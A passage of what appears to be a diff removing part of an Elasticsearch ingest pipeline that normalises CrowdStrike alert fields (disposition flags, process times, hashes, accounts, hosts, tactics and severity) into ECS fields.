-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - convert:
-      field: json.pattern_disposition_details.mfa_required
-      tag: convert_pattern_disposition_details_mfa_required_to_boolean
-      target_field: crowdstrike.alert.pattern_disposition_details.mfa_required
-      type: boolean
-      if: ctx.json?.pattern_disposition_details?.mfa_required != ""
-      ignore_missing: true
-      on_failure:
-        - append:
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - convert:
-      field: json.pattern_disposition_details.operation_blocked
-      tag: convert_pattern_disposition_details_operation_blocked_to_boolean
-      target_field: crowdstrike.alert.pattern_disposition_details.operation_blocked
-      type: boolean
-      if: ctx.json?.pattern_disposition_details?.operation_blocked != ""
-      ignore_missing: true
-      on_failure:
-        - append:
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - convert:
-      field: json.pattern_disposition_details.policy_disabled
-      tag: convert_pattern_disposition_details_policy_disabled_to_boolean
-      target_field: crowdstrike.alert.pattern_disposition_details.policy_disabled
-      type: boolean
-      if: ctx.json?.pattern_disposition_details?.policy_disabled != ""
-      ignore_missing: true
-      on_failure:
-        - append:
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - convert:
-      field: json.pattern_disposition_details.prevention_provisioning_enabled
-      tag: convert_pattern_disposition_details_prevention_provisioning_enabled_to_boolean
-      target_field: crowdstrike.alert.pattern_disposition_details.prevention_provisioning_enabled
-      type: boolean
-      if: ctx.json?.pattern_disposition_details?.prevention_provisioning_enabled != ""
-      ignore_missing: true
-      on_failure:
-        - append:
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - convert:
-      field: json.pattern_disposition_details.process_blocked
-      tag: convert_pattern_disposition_details_process_blocked_to_boolean
-      target_field: crowdstrike.alert.pattern_disposition_details.process_blocked
-      type: boolean
-      if: ctx.json?.pattern_disposition_details?.process_blocked != ""
-      ignore_missing: true
-      on_failure:
-        - append:
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - convert:
-      field: json.pattern_disposition_details.quarantine_file
-      tag: convert_pattern_disposition_details_quarantine_file_to_boolean
-      target_field: crowdstrike.alert.pattern_disposition_details.quarantine_file
-      type: boolean
-      if: ctx.json?.pattern_disposition_details?.quarantine_file != ""
-      ignore_missing: true
-      on_failure:
-        - append:
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - convert:
-      field: json.pattern_disposition_details.quarantine_machine
-      tag: convert_pattern_disposition_details_quarantine_machine_to_boolean
-      target_field: crowdstrike.alert.pattern_disposition_details.quarantine_machine
-      type: boolean
-      if: ctx.json?.pattern_disposition_details?.quarantine_machine != ""
-      ignore_missing: true
-      on_failure:
-        - append:
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - convert:
-      field: json.pattern_disposition_details.registry_operation_blocked
-      tag: convert_pattern_disposition_details_registry_operation_blocked_to_boolean
-      target_field: crowdstrike.alert.pattern_disposition_details.registry_operation_blocked
-      type: boolean
-      if: ctx.json?.pattern_disposition_details?.registry_operation_blocked != ""
-      ignore_missing: true
-      on_failure:
-        - append:
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - convert:
-      field: json.pattern_disposition_details.response_action_already_applied
-      tag: convert_pattern_disposition_details_response_action_already_applied_to_boolean
-      target_field: crowdstrike.alert.pattern_disposition_details.response_action_already_applied
-      type: boolean
-      if: ctx.json?.pattern_disposition_details?.response_action_already_applied != ""
-      ignore_missing: true
-      on_failure:
-        - append:
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - convert:
-      field: json.pattern_disposition_details.response_action_failed
-      tag: convert_pattern_disposition_details_response_action_failed_to_boolean
-      target_field: crowdstrike.alert.pattern_disposition_details.response_action_failed
-      type: boolean
-      if: ctx.json?.pattern_disposition_details?.response_action_failed != ""
-      ignore_missing: true
-      on_failure:
-        - append:
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - convert:
-      field: json.pattern_disposition_details.response_action_triggered
-      tag: convert_pattern_disposition_details_response_action_triggered_to_boolean
-      target_field: crowdstrike.alert.pattern_disposition_details.response_action_triggered
-      type: boolean
-      if: ctx.json?.pattern_disposition_details?.response_action_triggered != ""
-      ignore_missing: true
-      on_failure:
-        - append:
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - convert:
-      field: json.pattern_disposition_details.rooting
-      tag: convert_pattern_disposition_details_rooting_to_boolean
-      target_field: crowdstrike.alert.pattern_disposition_details.rooting
-      type: boolean
-      if: ctx.json?.pattern_disposition_details?.rooting != ""
-      ignore_missing: true
-      on_failure:
-        - append:
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - convert:
-      field: json.pattern_disposition_details.sensor_only
-      tag: convert_pattern_disposition_details_sensor_only_to_boolean
-      target_field: crowdstrike.alert.pattern_disposition_details.sensor_only
-      type: boolean
-      if: ctx.json?.pattern_disposition_details?.sensor_only != ""
-      ignore_missing: true
-      on_failure:
-        - append:
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - convert:
-      field: json.pattern_disposition_details.suspend_parent
-      tag: convert_pattern_disposition_details_suspend_parent_to_boolean
-      target_field: crowdstrike.alert.pattern_disposition_details.suspend_parent
-      type: boolean
-      if: ctx.json?.pattern_disposition_details?.suspend_parent != ""
-      ignore_missing: true
-      on_failure:
-        - append:
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - convert:
-      field: json.pattern_disposition_details.suspend_process
-      tag: convert_pattern_disposition_details_suspend_process_to_boolean
-      target_field: crowdstrike.alert.pattern_disposition_details.suspend_process
-      type: boolean
-      if: ctx.json?.pattern_disposition_details?.suspend_process != ""
-      ignore_missing: true
-      on_failure:
-        - append:
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - convert:
-      field: json.pattern_id
-      tag: convert_pattern_id_to_string
-      target_field: crowdstrike.alert.pattern_id
-      type: string
-      ignore_missing: true
-  - rename:
-      field: json.platform
-      tag: rename_platform
-      target_field: crowdstrike.alert.platform
-      ignore_missing: true
-  - rename:
-      field: json.poly_id
-      tag: rename_poly_id
-      target_field: crowdstrike.alert.poly_id
-      ignore_missing: true
-  - date:
-      field: json.process_end_time
-      tag: date_process_end_time
-      target_field: crowdstrike.alert.process_end_time
-      formats:
-        - UNIX
-        - UNIX_MS
-      if: ctx.json?.process_end_time != null && ctx.json.process_end_time != ''
-      on_failure:
-        - append:
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - set:
-      field: process.end
-      tag: set_process_end
-      copy_from: crowdstrike.alert.process_end_time
-      ignore_empty_value: true
-  - rename:
-      field: json.process_id
-      tag: rename_process_id
-      target_field: crowdstrike.alert.process_id
-      ignore_missing: true
-  - set:
-      field: process.entity_id
-      tag: set_process_entity_id
-      copy_from: crowdstrike.alert.process_id
-      ignore_empty_value: true
-  - convert:
-      field: crowdstrike.alert.process_id
-      tag: convert_alert_process_id_to_long
-      target_field: process.pid
-      type: long
-      ignore_missing: true
-      if: ctx.crowdstrike?.alert?.process_id != ''
-      on_failure:
-        - append:
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - date:
-      field: json.process_start_time
-      tag: date_process_start_time
-      target_field: crowdstrike.alert.process_start_time
-      formats:
-        - UNIX
-        - UNIX_MS
-      if: ctx.json?.process_start_time != null && ctx.json.process_start_time != ''
-      on_failure:
-        - append:
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - set:
-      field: process.start
-      tag: set_process_start
-      copy_from: crowdstrike.alert.process_start_time
-      ignore_empty_value: true
-  - rename:
-      field: json.product
-      tag: rename_product
-      target_field: crowdstrike.alert.product
-      ignore_missing: true
-  - convert:
-      field: json.protocol_anomaly_classification
-      tag: convert_protocol_anomaly_classification_to_long
-      target_field: crowdstrike.alert.protocol_anomaly_classification
-      type: long
-      if: ctx.json?.protocol_anomaly_classification != ""
-      ignore_missing: true
-      on_failure:
-        - append:
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - convert:
-      field: json.quarantined
-      tag: convert_quarantined_to_boolean
-      target_field: crowdstrike.alert.quarantined
-      type: boolean
-      if: ctx.json?.quarantined != ""
-      ignore_missing: true
-      on_failure:
-        - append:
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - rename:
-      field: json.quarantined_files
-      tag: rename_quarantined_files
-      target_field: crowdstrike.alert.quarantined_files
-      ignore_missing: true
-  - foreach:
-      field: crowdstrike.alert.quarantined_files
-      if: ctx.crowdstrike?.alert?.quarantined_files instanceof List
-      ignore_failure: true
-      processor:
-        append:
-          field: related.hash
-          tag: append_quarantined_files_to_related_hash
-          value: '{{{_ingest._value.sha256}}}'
-          allow_duplicates: false
-  - rename:
-      field: json.scan_id
-      tag: rename_scan_id
-      target_field: crowdstrike.alert.scan_id
-      ignore_missing: true
-  - rename:
-      field: json.scenario
-      tag: rename_scenario
-      target_field: crowdstrike.alert.scenario
-      ignore_missing: true
-  - convert:
-      field: json.seconds_to_resolved
-      tag: convert_seconds_to_resolved_to_long
-      target_field: crowdstrike.alert.seconds_to_resolved
-      type: long
-      if: ctx.json?.seconds_to_resolved != ""
-      ignore_missing: true
-      on_failure:
-        - append:
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - convert:
-      field: json.seconds_to_triaged
-      tag: convert_seconds_to_triaged_to_long
-      target_field: crowdstrike.alert.seconds_to_triaged
-      type: long
-      if: ctx.json?.seconds_to_triaged != ""
-      ignore_missing: true
-      on_failure:
-        - append:
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - convert:
-      field: json.severity
-      tag: convert_severity_to_long
-      target_field: crowdstrike.alert.severity
-      type: long
-      if: ctx.json?.severity != ""
-      ignore_missing: true
-      on_failure:
-        - append:
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - rename:
-      field: json.severity_name
-      tag: rename_severity_name
-      target_field: crowdstrike.alert.severity_name
-      ignore_missing: true
-  - script:
-      lang: painless
-      description: Script to set event.severity.
-      tag: set_event_severity_from_severity
-      if: ctx.crowdstrike?.alert?.severity instanceof long && ctx.crowdstrike.alert.severity_name == null
-      source: |-
-        long severity = ctx.crowdstrike.alert.severity;
-        if (0 <= severity && severity < 20) {
-          ctx.crowdstrike.alert.severity_name = "info";
-        } else if (20 <= severity && severity < 40) {
-          ctx.crowdstrike.alert.severity_name = "low";
-        } else if (40 <= severity && severity < 60) {
-          ctx.crowdstrike.alert.severity_name = "medium";
-        } else if (60 <= severity && severity < 80) {
-          ctx.crowdstrike.alert.severity_name = "high";
-        } else if (80 <= severity && severity <= 100) {
-          ctx.crowdstrike.alert.severity_name = "critical";
-        }
-      on_failure:
-        - append:
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - script:
-      lang: painless
-      description: Script to set event.severity.
-      tag: set_event_severity_from_severity_name
-      if: ctx.crowdstrike?.alert?.severity_name instanceof String
-      source: |-
-        ctx.event = ctx.event ?: [:];
-        String risk_score_value = ctx.crowdstrike.alert.severity_name;
-        if (risk_score_value.equalsIgnoreCase("low") || risk_score_value.equalsIgnoreCase("info") || risk_score_value.equalsIgnoreCase("informational")) {
-          ctx.event.severity = 21;
-        } else if (risk_score_value.equalsIgnoreCase("medium")) {
-          ctx.event.severity = 47;
-        } else if (risk_score_value.equalsIgnoreCase("high")) {
-          ctx.event.severity = 73;
-        } else if (risk_score_value.equalsIgnoreCase("critical")) {
-          ctx.event.severity = 99;
-        }
-      on_failure:
-        - append:
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - rename:
-      field: json.sha1
-      tag: rename_sha1
-      target_field: crowdstrike.alert.sha1
-      ignore_missing: true
-  - rename:
-      field: json.sha256
-      tag: rename_sha256
-      target_field: crowdstrike.alert.sha256
-      ignore_missing: true
-  - set:
-      field: process.hash.sha1
-      tag: set_process_hash_sha1
-      copy_from: crowdstrike.alert.sha1
-      ignore_empty_value: true
-  - set:
-      field: process.hash.sha256
-      tag: set_process_hash_sha256
-      copy_from: crowdstrike.alert.sha256
-      ignore_empty_value: true
-  - append:
-      field: related.hash
-      value: '{{{crowdstrike.alert.sha1}}}'
-      allow_duplicates: false
-      if: ctx.crowdstrike?.alert?.sha1 != null
-  - append:
-      field: related.hash
-      value: '{{{crowdstrike.alert.sha256}}}'
-      allow_duplicates: false
-      if: ctx.crowdstrike?.alert?.sha256 != null
-  - convert:
-      field: json.show_in_ui
-      tag: convert_show_in_ui_to_boolean
-      target_field: crowdstrike.alert.show_in_ui
-      type: boolean
-      if: ctx.json?.show_in_ui != ""
-      ignore_missing: true
-      on_failure:
-        - append:
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - rename:
-      field: json.source_account_azure_id
-      tag: rename_source_account_azure_id
-      target_field: crowdstrike.alert.source.account_azure_id
-      ignore_missing: true
-  - set:
-      field: cloud.account.id
-      tag: set_cloud_account_id
-      copy_from: crowdstrike.alert.source.account_azure_id
-      ignore_empty_value: true
-  - rename:
-      field: json.source_account_domain
-      tag: rename_source_account_domain
-      target_field: crowdstrike.alert.source.account_domain
-      ignore_missing: true
-  - set:
-      field: source.user.domain
-      tag: set_source_user_domain_from_alert_source_account_domain
-      copy_from: crowdstrike.alert.source.account_domain
-      ignore_empty_value: true
-  - append:
-      field: related.hosts
-      tag: append_source_user_domain_into_related_hosts
-      value: '{{{source.user.domain}}}'
-      allow_duplicates: false
-      if: ctx.source?.user?.domain != null
-  - rename:
-      field: json.source_account_name
-      tag: rename_source_account_name
-      target_field: crowdstrike.alert.source.account_name
-      ignore_missing: true
-  - set:
-      field: source.user.name
-      tag: set_source_user_name_from_alert_source_account_name
-      copy_from: crowdstrike.alert.source.account_name
-      ignore_empty_value: true
-  - append:
-      field: related.user
-      tag: append_source_domain_into_related_user
-      value: '{{{source.user.name}}}'
-      allow_duplicates: false
-      if: ctx.source?.user?.name != null
-  - rename:
-      field: json.source_account_object_guid
-      tag: rename_source_account_object_guid
-      target_field: crowdstrike.alert.source.account_object_guid
-      ignore_missing: true
-  - rename:
-      field: json.source_account_object_sid
-      tag: rename_source_account_object_sid
-      target_field: crowdstrike.alert.source.account_object_sid
-      ignore_missing: true
-  - rename:
-      field: json.source_account_sam_account_name
-      tag: rename_source_account_sam_account_name
-      target_field: crowdstrike.alert.source.account_sam_account_name
-      ignore_missing: true
-  - rename:
-      field: json.source_account_upn
-      tag: rename_source_account_upn
-      target_field: crowdstrike.alert.source.account_upn
-      ignore_missing: true
-  - append:
-      field: related.user
-      tag: append_crowdstrike_alert_source_account_upn_into_related_user
-      value: '{{{crowdstrike.alert.source.account_upn}}}'
-      allow_duplicates: false
-      if: ctx.crowdstrike?.alert?.source?.account_upn != null
-  - rename:
-      field: json.source_endpoint_account_object_guid
-      tag: rename_source_endpoint_account_object_guid
-      target_field: crowdstrike.alert.source.endpoint_account_object_guid
-      ignore_missing: true
-  - rename:
-      field: json.source_endpoint_account_object_sid
-      tag: rename_source_endpoint_account_object_sid
-      target_field: crowdstrike.alert.source.endpoint_account_object_sid
-      ignore_missing: true
-  - convert:
-      field: json.source_endpoint_address_ip4
-      tag: convert_source_endpoint_address_ip4_to_ip
-      target_field: crowdstrike.alert.source.endpoint_address_ip4
-      type: ip
-      if: ctx.json?.source_endpoint_address_ip4 != ''
-      ignore_missing: true
-      on_failure:
-        - append:
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - append:
-      field: related.ip
-      tag: append_crowdstrike_alert_source_endpoint_address_ip4_into_related_ip
-      value: '{{{crowdstrike.alert.source.endpoint_address_ip4}}}'
-      allow_duplicates: false
-      if: ctx.crowdstrike?.alert?.source?.endpoint_address_ip4 != null
-  - rename:
-      field: json.source_endpoint_host_name
-      tag: rename_source_endpoint_host_name
-      target_field: crowdstrike.alert.source.endpoint_host_name
-      ignore_missing: true
-  - set:
-      field: source.domain
-      tag: set_source_domain_from_alert_source_endpoint_host_name
-      copy_from: crowdstrike.alert.source.endpoint_host_name
-      ignore_empty_value: true
-  - append:
-      field: related.hosts
-      tag: append_source_domain_into_related_hosts
-      value: '{{{source.domain}}}'
-      allow_duplicates: false
-      if: ctx.source?.domain != null
-  - convert:
-      field: json.source_endpoint_ip_address
-      tag: convert_source_endpoint_ip_address_to_ip
-      target_field: crowdstrike.alert.source.endpoint_ip_address
-      type: ip
-      if: ctx.json?.source_endpoint_ip_address != ''
-      ignore_missing: true
-      on_failure:
-        - append:
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - set:
-      field: source.ip
-      tag: set_source_ip_from_alert_source_endpoint_ip_address
-      copy_from: crowdstrike.alert.source.endpoint_ip_address
-      ignore_empty_value: true
-  - append:
-      field: related.ip
-      tag: append_source_ip_into_related_ip
-      value: '{{{source.ip}}}'
-      allow_duplicates: false
-      if: ctx.source?.ip != null
-  - convert:
-      field: json.source_endpoint_ip_reputation
-      tag: convert_source_endpoint_ip_reputation_to_long
-      target_field: crowdstrike.alert.source.endpoint_ip_reputation
-      type: long
-      if: ctx.json?.source_endpoint_ip_reputation != ''
-      ignore_missing: true
-      on_failure:
-        - append:
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - rename:
-      field: json.source_endpoint_sensor_id
-      tag: rename_source_endpoint_sensor_id
-      target_field: crowdstrike.alert.source.endpoint_sensor_id
-      ignore_missing: true
-  - convert:
-      field: json.source_ip_isp_classification
-      tag: convert_source_ip_isp_classification_to_long
-      target_field: crowdstrike.alert.source.ip_isp_classification
-      type: long
-      if: ctx.json?.source_ip_isp_classification != ''
-      ignore_missing: true
-      on_failure:
-        - append:
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - rename:
-      field: json.source_ip_isp_domain
-      tag: rename_source_ip_isp_domain
-      target_field: crowdstrike.alert.source.ip_isp_domain
-      ignore_missing: true
-  - rename:
-      field: json.source_products
-      tag: rename_source_products
-      target_field: crowdstrike.alert.source_products
-      ignore_missing: true
-  - rename:
-      field: json.source_vendors
-      tag: rename_source_vendors
-      target_field: crowdstrike.alert.source_vendors
-      ignore_missing: true
-  - date:
-      field: json.start_time
-      tag: date_start_time
-      target_field: crowdstrike.alert.start_time
-      formats:
-        - ISO8601
-      if: ctx.json?.start_time != null && ctx.json.start_time != ''
-      on_failure:
-        - append:
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - set:
-      field: event.start
-      tag: set_event_start_from_alert_start_time
-      copy_from: crowdstrike.alert.start_time
-      ignore_empty_value: true
-  - rename:
-      field: json.status
-      tag: rename_status
-      target_field: crowdstrike.alert.status
-      ignore_missing: true
-  - rename:
-      field: json.tactic
-      tag: rename_tactic
-      target_field: crowdstrike.alert.tactic
-      ignore_missing: true
-  - append:
-      field: threat.tactic.name
-      tag: append_threat_tactic_name
-      value: '{{{crowdstrike.alert.tactic}}}'
-      allow_duplicates: false
-      if: ctx.crowdstrike?.alert?.tactic != null
-  - rename:
-      field: json.tactic_id
-      tag: rename_tactic_id
-      target_field: crowdstrike.alert.tactic_id
-      ignore_missing: true
-  - append:
-      field: threat.tactic.id
-      tag: append_threat_tactic_id
-      value: '{{{crowdstrike.alert.tactic_id}}}'
-      allow_duplicates: false
-      if: ctx.crowdstrike?.alert?.tactic_id != null
-  - rename:
-      field: json.tags
-      tag: rename_tags
-      target_field: crowdstrike.alert.tags
-      ignore_missing: true
-  - foreach:
-      field: crowdstrike.alert.tags
-      if: ctx.crowdstrike?.alert?.tags instanceof List
-      processor:
-        append:
-          field: tags
-          tag: append_alert_tags_into_tags
-          value: '{{{_ingest._value}}}'
-          allow_duplicates: false
-  - rename:
-      field: json.target_endpoint_host_name
-      tag: rename_target_endpoint_host_name
-      target_field: crowdstrike.alert.target.endpoint_host_name
-      ignore_missing: true
-  - set:
-      field: destination.domain
-      tag: set_destination_domain_from_alert_target_endpoint_host_name
-      copy_from: crowdstrike.alert.target.endpoint_host_name
-      ignore_empty_value: true
-  - append:
-      field: related.hosts
-      tag: append_destination_domain_into_related_hosts
-      value: '{{{destination.domain}}}'
-      allow_duplicates: false
-      if: ctx.destination?.domain != null
-  - rename:
-      field: json.target_domain_controller_host_name
-      tag: rename_target_domain_controller_host_name
-      target_field: crowdstrike.alert.target.domain_controller_host_name
-      ignore_missing: true
-  - set:
-      field: destination.user.domain
-      tag: set_destination_user_domain_from_alert_target_domain_controller_host_name
-      copy_from: crowdstrike.alert.target.domain_controller_host_name
-      ignore_empty_value: true
-  - append:
-      field: related.hosts
-      tag: append_destination_user_domain_into_related_hosts
-      value: '{{{destination.user.domain}}}'
-      allow_duplicates: false
-      if: ctx.destination?.user?.domain != null
-  - rename:
-      field: json.target_account_name
-      tag: rename_target_account_name
-      target_field: crowdstrike.alert.target.account_name
-      ignore_missing: true
-  - set:
-      field: destination.user.name
-      tag: set_destination_user_name_from_alert_target_account_name
-      copy_from: crowdstrike.alert.target.account_name
-      ignore_empty_value: true
-  - append:
-      field: related.user
-      tag: append_destination_user_name_into_related_user
-      value: '{{{destination.user.name}}}'
-      allow_duplicates: false
-      if: ctx.destination?.user?.name != null
-  - rename:
-      field: json.target_domain_controller_object_guid
-      tag: rename_target_domain_controller_object_guid
-      target_field: crowdstrike.alert.target.domain_controller_object_guid
-      ignore_missing: true
-  - rename:
-      field: json.target_domain_controller_object_sid
-      tag: rename_target_domain_controller_object_sid
-      target_field: crowdstrike.alert.target.domain_controller_object_sid
-      ignore_missing: true
-  - rename:
-      field: json.target_endpoint_account_object_guid
-      tag: rename_target_endpoint_account_object_guid
-      target_field: crowdstrike.alert.target.endpoint_account_object_guid
-      ignore_missing: true
-  - rename:
-      field: json.target_endpoint_account_object_sid
-      tag: rename_target_endpoint_account_object_sid
-      target_field: crowdstrike.alert.target.endpoint_account_object_sid
-      ignore_missing: true
-  - rename:
-      field: json.target_endpoint_sensor_id
-      tag: rename_target_endpoint_sensor_id
-      target_field: crowdstrike.alert.target.endpoint_sensor_id
-      ignore_missing: true
-  - rename:
-      field: json.target_service_access_identifier
-      tag: rename_target_service_access_identifier
-      target_field: crowdstrike.alert.target.service_access_identifier
-      ignore_missing: true
-  - rename:
-      field: json.technique
-      tag: rename_technique
-      target_field: crowdstrike.alert.technique
-      ignore_missing: true
-  - append:
-      field: threat.technique.name
-      tag: append_threat_technique_name
-      value: '{{{crowdstrike.alert.technique}}}'
-      allow_duplicates: false
-      if: ctx.crowdstrike?.alert?.technique != null
-  - rename:
-      field: json.technique_id
-      tag: rename_technique_id
-      target_field: crowdstrike.alert.technique_id
-      ignore_missing: true
-  - append:
-      field: threat.technique.id
-      tag: append_threat_technique_id
-      value: '{{{crowdstrike.alert.technique_id}}}'
-      allow_duplicates: false
-      if: ctx.crowdstrike?.alert?.technique_id != null
-  - set:
-      field: threat.framework
-      value: CrowdStrike Falcon Detections Framework
-      tag: set_threat_framework_cs
-      description: For Crowdstrike Falcon Detection tactics and/or that are prefixed with "CS"
-      if: >- 
-        (ctx.crowdstrike?.alert?.tactic_id != null && ctx.crowdstrike.alert.tactic_id.startsWith("CS"))
-        || (ctx.crowdstrike?.alert?.technique_id != null && ctx.crowdstrike.alert.technique_id.startsWith("CS"))
-        || (ctx.crowdstrike?.alert?.tactic != null && ['malware','exploit','post-exploit','machine learning','custom intelligence','falcon overwatch','falcon intel','ai powered ioa','insecure security posture'].contains(ctx.crowdstrike.alert.tactic.toLowerCase()))
-  - set:
-      field: threat.framework
-      value: MITRE ATT&CK
-      tag: set_threat_framework_mitre
-      if: ctx.crowdstrike?.alert?.tactic_id != null && ctx.crowdstrike.alert.tactic_id.startsWith("TA")
-  - rename:
-      field: json.template_instance_id
-      tag: rename_template_instance_id
-      target_field: crowdstrike.alert.template_instance_id
-      ignore_missing: true
-  - date:
-      field: json.timestamp
-      tag: date_timestamp
-      target_field: crowdstrike.alert.timestamp
-      formats:
-        - ISO8601
-      if: ctx.json?.timestamp != null && ctx.json.timestamp != ''
-      on_failure:
-        - append:
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - set:
-      field: '@timestamp'
-      tag: set_@timestamp_from_alert_timestamp
-      copy_from: crowdstrike.alert.timestamp
-      ignore_empty_value: true
-  - rename:
-      field: json.tree_id
-      tag: rename_tree_id
-      target_field: crowdstrike.alert.tree_id
-      ignore_missing: true
-  - rename:
-      field: json.tree_root
-      tag: rename_tree_root
-      target_field: crowdstrike.alert.tree_root
-      ignore_missing: true
-  - rename:
-      field: json.triggering_process_graph_id
-      tag: rename_triggering_process_graph_id
-      target_field: crowdstrike.alert.triggering_process_graph_id
-      ignore_missing: true
-  - rename:
-      field: json.type
-      tag: rename_type
